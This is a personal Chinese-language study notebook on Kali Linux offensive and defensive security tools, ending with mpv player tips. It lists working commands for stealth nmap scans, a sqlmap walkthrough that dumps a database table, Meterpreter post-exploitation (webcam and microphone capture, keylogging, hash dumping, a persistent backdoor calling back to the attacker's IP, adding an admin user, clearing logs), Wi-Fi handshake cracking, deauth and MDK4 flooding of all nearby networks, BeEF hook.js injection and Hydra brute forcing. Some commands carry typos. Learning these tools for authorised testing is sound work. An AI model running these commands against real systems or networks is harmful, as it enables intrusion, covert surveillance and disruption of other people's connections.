

紫队的诞生

2025.12.21记录：两个月前的笔记全灭了，今天起朝花夕拾，顺便再加上蓝队笔记，红蓝结合成紫，因此称为紫队的诞生

工具类型分类

1. 网络流量监控 / 入侵检测 (**IDS/IPS**)
 - **Suricata** → 高性能 IDS/IPS, 实时检测恶意流量
 - **Zeek (原 Bro)** → 网络安全监控, 深度流量分析
 - **Malcolm** → 流量分析套件, 结合 Suricata/Zeek 提供可视化

👉 类型: 检测型工具 (侧重发现攻击行为)
2. 日志收集与安全信息事件管理 (**SIEM**)
 - **Elastic Security (ELK Stack)** → 日志集中、搜索、告警、可视化
 - **Arkime** → 全包捕获与索引, 支持流量回溯分析

👉 类型: 监控与分析型工具 (侧重日志与事件管理)
3. 事件响应与协作平台
 - **TheHive** → 安全事件响应平台, 工单管理与团队协作
 - **Cortex** (常与 TheHive 配合) → 自动化分析与响应

👉 类型: 响应型工具 (侧重处理与协作)
4. 漏洞管理与防御评估
 - **GVM (Greenbone Vulnerability Manager)** → 漏洞扫描与管理
 - **OpenVAS** (GVM 的核心引擎)

👉 类型: 评估型工具 (侧重发现系统弱点)
 - 不仅仅是攻击工具箱 (像传统 Kali Linux 那样),
 - 而是一个 攻防一体化平台, 既能做红队渗透, 也能做蓝队防御, 还能做紫队演练。

蓝队工具集（部分）：
识别，防护，检测，恢复，响应（大概是）

红队工具集（部分）：

蓝队基本工作：识

信息收集 (Information Gathering)

- **Nmap**: 网络扫描与主机发现
- **Recon-ng**: 模块化的网络侦察框架
- **theHarvester**: 收集电子邮件、域名、用户名等公开信息

漏洞分析 (Vulnerability Analysis)

- **Nikto**: Web服务器漏洞扫描器
- **OpenVAS**: 全面的漏洞评估系统
- **sqlmap**: 自动化 SQL 注入工具

漏洞利用 (Exploitation Tools)

- **Metasploit Framework**: 最强大的漏洞利用平台
- **BeEF**: 浏览器漏洞利用框架
- **Searchsploit**: 本地漏洞数据库搜索工具

权限提升 (Privilege Escalation)

- **Linux Exploit Suggester**: 推荐本地提权漏洞
- **Windows Exploit Suggester**: 适用于 Windows 系统的提权建议工具

后渗透 (Post Exploitation)

- **Empire**: PowerShell 和 Python 后渗透框架
- **Meterpreter**: Metasploit 的后渗透模块
- **Netcat**: 万能的网络工具，可用于反弹 shell

无线攻击 (Wireless Attacks)

- **Aircrack-ng**: 破解 Wi-Fi 密码
- **Wifite**: 自动化无线攻击工具
- **Reaver**: 攻击 WPS 协议

密码攻击 (Password Attacks)

- **John the Ripper**: 密码破解工具
- **Hydra**: 支持多种协议的暴力破解工具
- **Hashcat**: GPU 加速的密码破解工具

工具管理与辅助

- **Kali Tweaks**: 快速配置 Kali 环境
- **CherryTree**: 笔记管理工具，适合记录渗透测试过程
- **Burp Suite**: Web 应用安全测试平台（社区版预装）

红队工具集（部分）：

侦查，分析，后渗透，漏洞利用，权限提升，无线攻击，密码攻击

红队基本工作：侦

侦查

nmap基础

nmap是新手启程之路，也是检测局域网设备和端口的实用工具

基础命令

nmap -V 查看nmap版本号

nmap 192.168.1.1 扫描这个ip的端口号

nmap 192.168.1.1 192.168.1.2 扫描多个ip的端口

nmap 192.168.1.0/24 扫描尾部从0到256的所有ip和端口

nmap -p 1-1000 192.168.1.1 设定端口扫描区间

nmap -sT 192.168.1.1 使用三次握手，更稳定

nmap -sS 192.168.1.1 半开放扫描，更隐蔽

nmap -sn 192.168.1.0/24 只扫描ip尾部从0到256的ip,忽略端口

nmap -sV 192.168.1.1 扫描端口对应的服务版本

nmap -O 192.168.1.1 检测目标操作系统

进阶-高级隐蔽

nmap可以使用--source-port指定扫描时使用的源端口号：

```
namp -sS --source-port xx 192.168.1.1
```

搭配-sS可以提高隐蔽程度，因为它：

只发送TCP的SYN包(连接请求)，如果目标端口开放，会返回SYN-ACK，Nmap收到后立即发送RST(重置)包，不完成三次握手，这样就不会建立真正的连接，很多系统不会记录日志；避免被防火墙和IDS发现，因为没有完整连接，很多防火墙、入侵检测系统(IDS)不会触发告警；而且可以不需要root权限即可扫描

没有--source-port，nmap会随机选择一个临时端口作为扫描数据包的源端口。但某些防火墙或IDS会根据源端口来判断是否允许数据包通过

这些端口包括：

DNS 53

HTTP 80

HTTPS 443

Recon-ng基础

Recon-ng是一个模块化的网络侦查框架，可以进行目标机器的自动化收集，工作框架和metasploit比较像

使用指南

在终端使用recon-ng启动

workspaces create xxx 创建名为xxx的工作区

workspaces list 列出已有工作区

workspaces select xxx 选中xxx工作区

add domains xxx.com 添加目标域名

add hosts 192.168.1.1 添加目标主机

show modules 列出可用模块

search xxx 可以搜索模块

show info 查看模块说明和参数

modules load recon/domains-hosts/bing_domain_web 加载来自信息收集模块/从域名收集主机/使用bing搜索收集子域名的模块

设置模块参数这一块还需研究，下面给的可能不准确

show options

set SOURCE xxx.com

设置模块所需参数， 目标域名、API密钥等

run 运行

show hosts

show domains

查看收集到的主机，域名等信息

export csv xxx.csv 把结果导出csv文件

常用模块

1. 信息收集模块：

recon/domains-hosts/bing_domain_web 使用bing搜索收集子域名

recon/domains-hosts/google_site_web 使用google搜索收集子域名

recon/hosts-hosts/resolve 把域名解析为IP地址

recon/hosts-hosts/ipwhois/查询IP地理位置和归属信息

recon/contacts-contacts/hibp_breach 查询邮箱是否泄漏（需要API）

2. 漏洞识别模块

recon/hosts-vulnerabilities/xssed 查询目标是否存在XSS漏洞

recon/hosts-vulnerabilities/shodan_hostname 使用Shodan搜索主机漏洞（需要API）

3. 社交分析模块

recon/profiles-profiles/profiler 查询某用户在哪些网站注册

recon/profiles-profiles/namechk 使用namechk检查用户名占用情况

4. 数据导出模块

export/csv 把收集到的数据导出为csv文件

export/json 把收集到的数据导出为json文件

5. 辅助模块

auxiliary/file 从文件导入数据

auxiliary/geoip 查询IP的地理位置

***theHarvester*基础**

Wireshark

Wireshark这一块的我也不说啥介绍了，我本来想给它新开一个栏目的，后来想想还是算了，作为网络抓包器的神，我们网络安全学院的windows 7机房都有安装这个软件，这玩意都可以“明面”做什么，我将在下面介绍

监控模式

Wireshark可以监控网卡能捕获到的所有packet，如果想要单独监控特定wifi也可以，还是需要和aircrack联动才可以做到，首先，懂得都懂，先把无线网卡转为监控模式：

```
sudo airmon-ng start wlan0
```

然后打开wireshark，选择wlan0mon，然后就可以看到附近所有已经过的数据包了

但了解监控模式工作方式的都知道，此时的无线网卡只能主动搜索频段为2.4GHz的网络，默认不搜索5GHz以上的网络，如果要抓取特定5G网络（或者其他特定任意网络），需要先了解目标WIFI所在的频道号，Kali Linux的KDE桌面环境可以在网络小组件看到所有WIFI的频段和频道，记好再切换到监控模式哦，切换后就不能直接看了！

```
sudo iwconfig wlan0mon channel 36 #切换监控的频道号为36，然后Wireshark就可以监控36号频道的所有wifi了
```

如果要监控特定WIFI，可以试试这个：

在wireshark界面上方的过滤器输入 wlan addr2 == [MAC地址]

分析

Nikto基础

Nikto是一款开源的Web服务器漏洞扫描器，主要用于发现网站服务器上的潜在安全问题，危险文件、过时服务、配置错误等。它是Kali Linux中最常用的Web渗透测试工具之一
扫描速度较快，但不隐蔽，容易被IDS/防火墙记录，可搭配Burp Suite、Nmap等工具进行综合分析

基本使用

nikto -h [URL] #扫描指定url地址或者ip,默认扫描80端口，执行后它会检测服务器类型，版本，危险文件等

可选参数：

- h 指定目标地址
- p 指定端口
- ssl 扫描https服务，或者在url添加https://
- Tuning x 控制扫描类型（跳过DOS测试）
- Display V 显示详细输出
- output [html文件] 结果保存为html文件
- Format htm 指定输出格式（htm, txt, csv, xml）
- useragent 设置自定义用户代理
- useproxy 使用代理扫描
- timeout 设置超时时间

SQLmap基础

这是一款自动化 SQL 注入测试工具，可以快速发现并利用 Web 应用中的数据库注入漏洞
它：

1. 自动检测并利用SQL注入漏洞
2. 支持多种数据库（MySQL、PostgreSQL、Oracle、SQL Server等）
3. 可以枚举数据库、表、字段
4. 可以直接获取数据、甚至直接执行系统命令

基本调用方式：sqlmap -u “http://xxx/参数?id=1”

常用参数：

- u -> 指定目标URL
- dbs -> 枚举所有数据库
- tables -D '数据库名' -> 枚举特定数据库的表
- dump -D '数据库名' -T '表名' -> 导出某个表的数据
- batch -> 自动选择默认选项，避免交互
- cookie="PHPSESSID=xxx" -> 如果需要登录状态，可以添加
- p '参数名' -> 指定要测试的参数

实例流程

目标网址：http://arthur.test.com

在这个网址搜索一个值1，返回URL=http://arthur.test.com/item?id=1，就用这个网址下手

检测注入点：

```
sqlmap -u "http://arthur.test.com/item?id=1"
```

返回该数据库的相关信息（数据库类型，版本）

枚举数据库：

```
sqlmap -u "http://arthur.test.com/item?id=1" --dbs
```

会输出一些数据库，但其中：mysql / information_schema / performance_schema / sys 都用于存放系统数据而不是用户数据，通常不用看他们

比 我看中一个数据库：meme

查看特定数据库的表：

```
sqlmap -u "http://arthur.test.com/item?id=1" -D meme --tables
```

会输出meme数据库的表，比 我看中一个表：hehe

查看特定表的字段：

```
sqlmap -u "http://arthur.test.com/item?id=1" -D meme -T hehe --dump
```

就可以获得hehe里面的所有内容了

OpenVAS基础

OpenVAS是漏洞扫描器，主要用于发现目标系统的安全漏洞。它通过图形界面(GVM)进行管理，适合进行全面的漏洞评估

但是kali linux并不预装openvas，还需要手动安装：

```
sudo apt install gvm
```

然后执行：

```
sudo gvm-setup来初始化
```

最后会出现一个ip地址，通过浏览器启动web interface进行下一步操作

修改默认用户 (admin) 密码：

```
sudo runuser -u _gvm -- gvmd --user=admin --new-password=1234
```

创建扫描任务：

1. 添加目标：

菜单栏选择 Targets

设置目标IP或域名

可配置端口范围、认证方式等

2. 创建任务：

菜单栏选择 Tasks

创建新任务，关联目标

选择扫描配置(Full and Fast)

3. 启动扫描：

点击任务→Start

等待扫描完成(时间取决于目标复杂度)

4. 查看结果：

菜单栏选择 reports

查看漏洞详情、风险等级、修复建议

可导出为PDF，HTML等格式

后渗透

Metasploit Payload Generator

Metasploit是一个模块化工具，内置很多功能，它有两大渗透方式：tcp和http

tcp适用于windows 8.1及以下和android 13及以下的操作系统，优点是需要的操作比较少

http适用于windows任何系统，优点是对windows的威慑力很强

会话功能

进入目标系统会话后，可以进行一些有意思的活动

1. 了解目标

```
sysinfo #系统信息
```

```
getuid #当前用户
```

```
getprivs #当前权限
```

```
ipconfig #网络信息
```

```
ps #进程列表
```

2. 屏幕截图，摄像头获取

```
screenshot #截图
```

```
webcam_list #获取可用摄像头
```

```
webcam_namp -i 1 -v false #在不启动目标图片查看器调用第一个摄像头拍照
```

```
record_mic -d 10 #麦克风录制10秒
```

3. 文件系统访问

```
cd C:\ 指向C盘
```

```
ls #列出目录
```

```
search -f *.* -d C:\\Users #在特定目录搜索文件
```

```
download C:\\Users\\xxx\\*.* #下载文件到本地
```

```
upload xxx C:\\xxx\\ #把文件上传到指定位置
```

4. 凭证获取

```
hashdump #转储所有用户密码哈希值
```

5. 提取万物

```
run post/windows/gather/enum_xxx #视使用的工具决定效果
```

6. 内网探测

```
run arp_scanner -r xxx (原理类似namp) #扫描多个IP
```

```
run post/windows/gather/enum_tcp #扫描端口
```

7. 后门和持久

```
run persistemce -U -l 60 -p 端口 -r 我的IP #创建持久后门，让目标随时随地被黑，60秒连一次，重启也不好使
```

8. 创建用户

```
shell - net user xxx 123 /add - net localgroup administrator xxx /add #创建一个用户，密码123,并将其定为管理员
```

9. 键盘记录

```
keyscan_start #开始键盘记录
```

```
keyscan_dump #查看记录的数据
```

```
keyscan_stop #停止记录
```

10. 远程桌面

```
run getgui -e #RDP服务端部署，成功后使用RDP软件连接
```

```
run vnc #VNC连接
```

11. 提权

```
getsystem #提升权限至SYSTEM
```

12. 模拟权限

```
use incognito #查看可用令牌
```

```
list_token -u
```

```
impersonate_token DOMAIN\\xxx #模拟特定用户
```

13. 恶作剧

```
ejectcd #弹出光驱
```

```
play xxx.wav #在目标机器播放wav文件  
run vbs -f xxx.vbs #在目标机器显示消息框  
lockdesk #锁屏  
14. 隐藏/清理踪迹  
migrate '其他程序PID号' #把自身进程渗透至其他进程  
clearev #清除事件日志  
run post/windows/manage/migrate #隐藏自身进程
```

无线攻击

因为我最近购买了一个distike deauther设备，使我对无线网络的攻防有了更大的兴趣，所以我提前记录了一些工具的使用笔记

目前我发现最有意思的工具还是MDK4,攻击性强也很好玩

Aircrack-ng

aircrack-ng是无线攻击的一个工具组，它包含很多不同类型的工具，可以各司其职，完成各种各样的工作，它能做的事情也很多

因为wifi密码不同，握手包的加密内容也会变化，aircrack就可以通过字典来比对加密内容是否一致，就这个原理，果字典里没有目标密码就认吧

其实，aircrack更像是一种辅助工具，它可以转变网卡状态（监控模式，攻击模式），以供其他工具正常使用（Wireshark，MDK4）

默认情况下，我们电脑的网卡是处于普通模式（Managed Mode）的，此时网卡只接收和发送与自己关联的AP（路由器）的数据，它会过滤掉其他Wi-Fi的数据包，只保留和自己连接相关的流量，因此能保证本身的上网功能而在监控模式(Monitor Mode)，网卡不再只关注自己连接的AP，而是能接收**所有无线信道上的原始数据包**，包括Beacon帧、Probe请求/响应、认证帧、数据帧等，这就是为什么能看到附近Wi-Fi的信息和已连接的客户端，可以用来抓包，分析，渗透测试

但不是所有无线网卡都可以使用监控模式（我的电脑无线网卡是Intel芯片组）

🔍 什么网卡支持监控模式

- Atheros 芯片组 (如 AR9271)
 - 在 Kali Linux 下兼容性最好，常见于 Alfa AWUS036NHA。
- Ralink/Mediatek 芯片组 (如 RT3070、MT7612U)
 - 常见于 Alfa AWUS036NH、Panda Wireless PAU09。
- Realtek 芯片组 (如 RTL8812AU、RTL8187L)
 - Alfa AWUS036ACH、TP-Link Archer T9UH 等型号支持。
- Intel 芯片组 (部分型号)
 - 在 Linux 下部分驱动支持，但兼容性不如 Atheros。
- 外置 USB 网卡
 - 通常比笔记本内置网卡更容易支持监控模式。

🚫 什么网卡不支持

- 大多数笔记本内置网卡
 - 厂商驱动往往只提供 Managed 模式，不支持 Monitor Mode。
- Windows 下的网卡
 - 原生驱动几乎不支持监控模式，需要特殊驱动或外置适配器。
- 廉价无品牌网卡
 - 芯片和驱动信息不透明，通常无法启用监控模式。

无线网卡进入监控模式后，就不能用来上网了，但还有其他联网手段：USB共享网络，蓝牙共享网络（速度很慢，但这确实是唯一快捷的方式了），以太网连接，再加一个无线网卡（会额外占用一个USB接口）

字典破解

sudo airmon-ng start wlan0 #可以通过ip a来确定无线网卡硬件名，完成后会生成一个接口为wlan0mon

sudo airodump-ng wlan0mon #可以记录扫描到的网络BSSID（MAC地址）和信道号（channel）

sudo airdump-ng -c [channel] --bssid [BSSID] -w capture wlan0mon #针对目标网络进行数据包捕获，其中capture是即将保存的文件名

可以玩阴的，使用deauth攻击，使已连接的设备重新连接，从而直接获取握手包：

sudo aireplay-ng -0 10 -a [BSSID] wlan0mon

获取到握手包后，可以使用字典文件进行破解：

aircrack-ng -w [字典文件] -b [BSSID] [capture文件] #通过字典文件逐一尝试，但不排除字典里没有目标密码的可能性！

我翻了几个字典，的确找不到自己设置过的的密码，这个方法其实不算靠谱

半暴力破解

暴力破解本质也是字典，不过字典可以让用户自己生成，推荐用于玩笑！比 问一个人wifi密码是多少位，包不包含大小写字母等来快速破解wifi密码

crunch 8 12 abcdefg123456 -o 1.txt #生成一个全排列字典，每一行的字符最短为8,最长为12,只排列abcdefg123456这些字符，保存为1.txt，合理安排位数，文件会特别大，推荐仅用于破解8位数或更少的密码，9位数勉强，10位数以上的先爱惜好电脑再说

```
└$ crunch 11 11 lxp85171729 -o dict.txt
Crunch will now generate the following amount of data: 376572715308 bytes
359127 MB
350 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 31381059609
^CCrunch ending at
```

我是服了已经，没人会为了一个密码出卖自己的电脑吧，11位数整出三百亿个排列方式这是要吓死谁

然后就可以使用字典破解法进行破解

或者：

```
crunch 8 12 abcdefg123456 | aircrack-ng -w - -b [BSSID] [capture文件]
```

或者使用hashcat的硬件加速功能更快破解：

```
hcxpcapngtool [capture文件] -o [22000文件] #把aircrack捕获的数据包转换为hashcat支持的格式
hashcat -m 22000 [22000文件] [字典文件]
```

说真的，我并不认为这个是真的在暴力破解，反正网络安全这一块的这十几年又没有白发展

Deauther攻击

果觉得密码破解不好用，那么这是比较好用的一个功能了，我在DISTIKE设备测试过deauther攻击来强制断开他人wifi连接或者阻止他人连接特定wifi,但缺陷是其不支持5Ghz WIFI，但在电脑上deauther的威慑力和可控性会大大提高，就是用起来不 dstike那么方便

sudo airmon-ng start wlan0 #首先挂上自己的网卡，挂上后这台电脑暂时不能连网了（除非有网线）

sudo airodump-ng wlan0mon #探测能搜索到的wifi网络，然后锁定你想动手的WIFI

sudo airodump-ng -c [信道号] wlan0mon #信道号就是目标wifi对应的信道，这样就能把自己的网卡信道与其同步

sudo aireplay-ng -0 10 -e [APMAC名] -c [MAC] wlan0mon

其中-0代表是deauther攻击；10代表攻击次数，0则是无限制；-e代表使用essid即ap名称，改为-b则是bssid即MAC码；-c可选踢掉特定mac，没有就是全踢

或者简单粗暴点：

sudo aireplay-ng -0 -b [WIFI名] wlan0mon #踢出该wifi的所有连接并阻止后续连接（对于WPA2可以踢人，WPA3只能阻止后续连接，和distike deauther设备一个效果）

玩够了的话，就执行：

sudo airmon-ng stop wlan0mon 恢复网卡

默认情况下，airodump只探测2.4Ghz的网络，因为5GHz的网络通道更多更复杂，果要全面搜索会消耗大量时间（而且它本身就不支持），甚至损耗网卡，所以还是斟酌使用吧

5GHz Wi-Fi 通道分布

根据 IEEE 802.11 标准，5GHz Wi-Fi 通道覆盖 **5150 MHz – 5850 MHz** 范围 Wikipedia +1：

1. 非 DFS 通道（常用，稳定）

- **36, 40, 44, 48** → 频率范围 5.170–5.250 GHz
- **149, 153, 157, 161, 165** → 频率范围 5.745–5.825 GHz
👉 这些通道不需要雷达检测，常见于家用路由器，连接稳定。

2. DFS 通道（需雷达检测）

- **52, 56, 60, 64** → 5.250–5.330 GHz
- **100–144** → 5.500–5.700 GHz
👉 因为与气象雷达、军用雷达频段重叠，AP 必须监听是否有雷达信号，一旦检测到就要切换通道。

3. 特殊情况

- **中国**：通常开放 36–64、149–165，部分 DFS 通道可能受限。
- **美国/欧洲**：开放范围更广，但 DFS 通道仍需遵守监管要求。

对比表

通道范围	类型	是否常用	说明
36–48	非 DFS	✓ 常用	家用路由器常见，稳定
52–64	DFS	⚠ 较少	需雷达检测，可能切换
100–144	DFS	⚠ 较少	常用于企业/室外 AP
149–165	非 DFS	✓ 常用	高功率，覆盖范围大

⚠ 注意事项

- **DFS 通道**在实验时可能导致工具报错或信号丢失，因为 AP 会自动切换。
- 不同国家开放范围不同，Linux 下可以用 `iw list` 查看网卡支持的信道。
- 在渗透测试或实验时，建议优先选择 **36–48 或 149–165** 这些非 DFS 通道。

✓ 总结：5GHz Wi-Fi 通道主要是 **36–48、52–64、100–144、149–165**，其中 **36–48 和 149–165** 最常用，DFS 通道需要额外雷达检测机制。

Wifite

这个工具实质是一个自动化脚本，结合了aircrack-ng, reaver, pixieWPS等工具，实现自动化

MDK4

果你觉得aircrack的密码破解，踢人已经很牛逼了，那么这玩意一定会给你开眼界（给我也开眼了）
这玩意也得结合aircrack的部分功能使用：

```
sudo airmon-ng start wlan0 #把自己的网卡暂时“献祭”了
```

攻击手段

+实验环境限定：这种攻击只能在自己设备和网络上测试，公共网络上使用违法（恶作剧什么的我觉得无所谓了）

同样的，mdk4默认只针对2.4G网络攻击，果要攻击5G网络，需要指定通道号

1. Deauth：

aircrack的deauth有个缺陷，就是只能针对特定信道的特定wifi攻击，而mdk4就牛逼了，可以把能看到的所有wifi全干了

```
sudo airodump-ng wlan0mon #锁定信道号
```

```
sudo mdk4 wlan0mon d -c [信道号]
```

果你想一次攻击所有能看到的wifi,就把-c去掉 :), 果想针对特定wifi,可以使用-B + BSSID/-E + ESSID

2. Beacon：

beacon攻击是aircrack没有的，其实他俩唯一重合功能也就deauth，beacon的作用是创建大量虚假热点，没有实质性伤害，就是纯捣乱

```
sudo mdk4 wlan0mon b -f [包含SSID的文本文件]
```

文本文件格式：

```
wifi1
```

```
wifi2
```

```
wifi3
```

以此类推

没有文件，就会自动生成wifi名

3. Authentication

这个攻击手段就是伪造大量客户端请求连接wifi的行为，可以在短时间向wifi发送大量连接请求，可能会使wifi（暂时）瘫痪（可以拿自己手机试试）

```
sudo mdk4 wlan0mon a #可以添加-c指定信道号，或者-a指定某个AP（后面接BSSID哦）
```

4. Probe

这玩意的作用就是干扰AP，干扰客户端，有类似于Authentication与beacon的结合

```
sudo mdk4 wlan0mon p #参数同上
```

MDK4还有很多攻击方式，但基本都偏向于安全测试，没啥意思

MDK4 的高级攻击/测试模块

- **Michael Countermeasures Exploitation**

- 针对 TKIP 加密 (WPA/WPA2 TKIP) 的“Michael”校验机制。
- 通过伪造错误的 MIC (Message Integrity Code) 触发 AP 的防御机制，使其短时间内拒绝服务。
- 主要用于验证 TKIP 的脆弱性。

- **EAPOL Start and Logoff Packet Injection**

- EAPOL 是 WPA/WPA2 握手协议的一部分。
- 通过注入大量 Start/Logoff 包，干扰客户端与 AP 的认证过程。
- 可导致客户端频繁掉线或无法完成握手。

- **Attacks for IEEE 802.11s mesh networks**

- 针对 Wi-Fi Mesh 网络 (802.11s) 的特殊攻击。
- Mesh 节点之间需要维护路由表，攻击者可以伪造路由信息或洪水请求，导致 Mesh 网络不稳定。

- **WIDS Confusion**

- WIDS = Wireless Intrusion Detection System。
- 通过伪造异常流量，混淆或绕过无线入侵检测系统。
- 用于测试 WIDS 的可靠性和抗干扰能力。

- **Packet Fuzzer**

- 类似于协议模糊测试工具。
- 向 AP 或客户端发送畸形/随机化的 Wi-Fi 帧，测试协议栈的健壮性。
- 常用于发现潜在的实现漏洞。

- **Proof-of-concept of WiFi protocol implementation vulnerability testing**

- 概念验证模块，用来测试 Wi-Fi 协议实现中的已知或潜在漏洞。
- 更偏研究用途，而不是常规攻击。

常见频段

2.4G:

2.437G 通道6

5G:

5.745G 通道149

漏洞利用

BeEF

BeEF是一个用于浏览器安全测试的框架，可以测试浏览器在面对恶意脚本时的防御能力，展示XSS攻击的危害和防御方法，在合法授权的环境里模拟浏览器攻击

但是XSS攻击已经很老了，现代的网页和浏览器对其有一定的防御能力，所以建议仅用于测试

基本使用：

```
sudo beef-xss
```

然后会启用web服务，首次使用时会提示设置密码，用户名为默认beef

beef的核心是hook.js，将其注入到目标网页中就可以进行一些操作，信息收集，社会工程测试，网络探测等

hook.js注入方式：

1. 在要控制的HTML加入：

```
<script src="<你的BeEF服务器IP>:3000/hook.js"></script>
```

2. 通过XSS漏洞注入，如果目标没有XSS漏洞，BeEF的乐趣也确实少了很多

SearchSploit

SearchSploit是Exploia Database提供的一个命令行工具，可以用于本地搜索漏洞利用代码和PoC，核心作用就是提供一个离线漏洞搜索引擎

可以与nmap, msfconsole等工具结合

基本使用：

searchsploit -u #从exploit-db获取漏洞库更新

基本搜索：

searchsploit wordpress #搜索关键词，wordpress,可以返回其漏洞利用方式

精确搜索：

searchsploit -t "Apache Struts" #可以精确匹配标题，适合查找特定软件版本

显示路径：

searchsploit -p 12345 #根据exploit-id显示本地路径，方便复制查看源码

复制源码：

searchsploit -m 12345 #把exploit-id对应的代码复制到当前目录，适合快速调用或修改

搜索特定版本号：

searchsploit apache 2.4 #只搜索2.4版本的apache

其他参数：

-w #显示exploit-db在线链接

-j #输出为json格式，方便脚本调用

密码攻击

就像aircrack的无线密码破解一样，这类的密码攻击也是暴力破解为主

John

全称John the Ripper是一个密码破解工具，包含三种破解方式：单一模式、字典模式、增量模式

首先把目标密码文件保存到一个文件里，然后执行

john --single [密码文件名] #基于用户名和简单规则，速度快，范围小

john --wordlist=[字典文件名] [密码文件名] #使用字典文件

john --incremental [密码文件名] #列举所有字符组合，强效但是特别慢，只可以用于没有合适字典的前提

特性介绍：

单一模式：基于用户名和文件内容，会把用户名、登录名、以及哈希文件里的相关信息作为密码候选，在用户名的基础上做一些变形，大小写，简单添加数字和符号

增量模式：由john内置的字符集和规则引擎自动生成所有可能的密码组合，由短到长逐步尝试，也就是说，它自己就是一个字典生成手段

Hydra

Hydra是一个支持多协议的暴力破解工具

基本使用：

hydra -l [用户名] -p [密码] [目标IP] [服务]

例：

hydra -l arthur -p 0 192.168.1.10 ssh #通过ssh登录某台电脑

hydra -L users.txt -P passwords.txt 192.168.1.10 ftp #使用users.txt和passwords.txt字典文件进行批量尝试

hydra -l root -P pass.txt -s 2222 192.168.1.10 ssh #此举是开一个新的ssh端口2222登录目标的root用户，并用pass.txt内容逐一对密码

以上属于SSH爆破，下面是HTTP Web表单爆破，用于网页登录：

hydra 192.168.1.10 http-post-form "/login:username=^USER^&password=^PASS^:F=Login failed" -L users.txt -P passwords.txt (这只是个例子，还得视HTML内容而定)

常用参数（懒得打字了已经）：

参数	功能
-l	指定单一用户名
-p	指定单一密码
-L	用户名字典文件
-P	密码字典文件
-s	指定端口
-t	并发线程数（默认 16）
-v	显示详细尝试过程
-f	找到一个正确结果后立即停止

-w/W 设置延迟时间(秒)

提示： 果线程数过高，或者延迟过低，可能会导致目标卡死， 果是web请求的话，可能会导致DoS效应，可以使用-t， -w和-f参数提高延迟，降低效率，但能保证目标成活率

流量监控/入侵检测

日志收集/事件管理

事件响应/协作平台

漏洞管理/防御评估

软件使用笔记

很多软件看似简陋，实际玩法多多

mpv

mpv是一个“绝对”万能的播放器，只打开软件，发现基本没有什么功能，但是它的功能都体现在命令行灵活使用以实现不同功能，这也是为什么我会特意为mpv开一个栏目，多看多记，才好玩

常用参数

播放控制：

--speed=0.5 设置播放速度为0.5

--loop 循环播放

--volume=50 设置音量为50%

输出方式：

--vo=gpu 使用gpu渲染，在播放高精度视频有用，避免掉帧

--gpu-api=vulkan/opengl 指定渲染API

--vo=x11 使用x11渲染机制，可以用于通过ssh播放视频

硬件解码：

--hwdec=auto 自动选择硬件解码

字幕设置：

--sub-file=xxx.srt 指定字幕文件

--sub-delay=2 字幕延迟2秒

--sub-font-size=40 设置字幕大小

窗口控制：

--fullscreen 默认全屏播放

--geometry=50%:50% 指定窗口位置，50%:50%是居中

--ontop 置顶窗口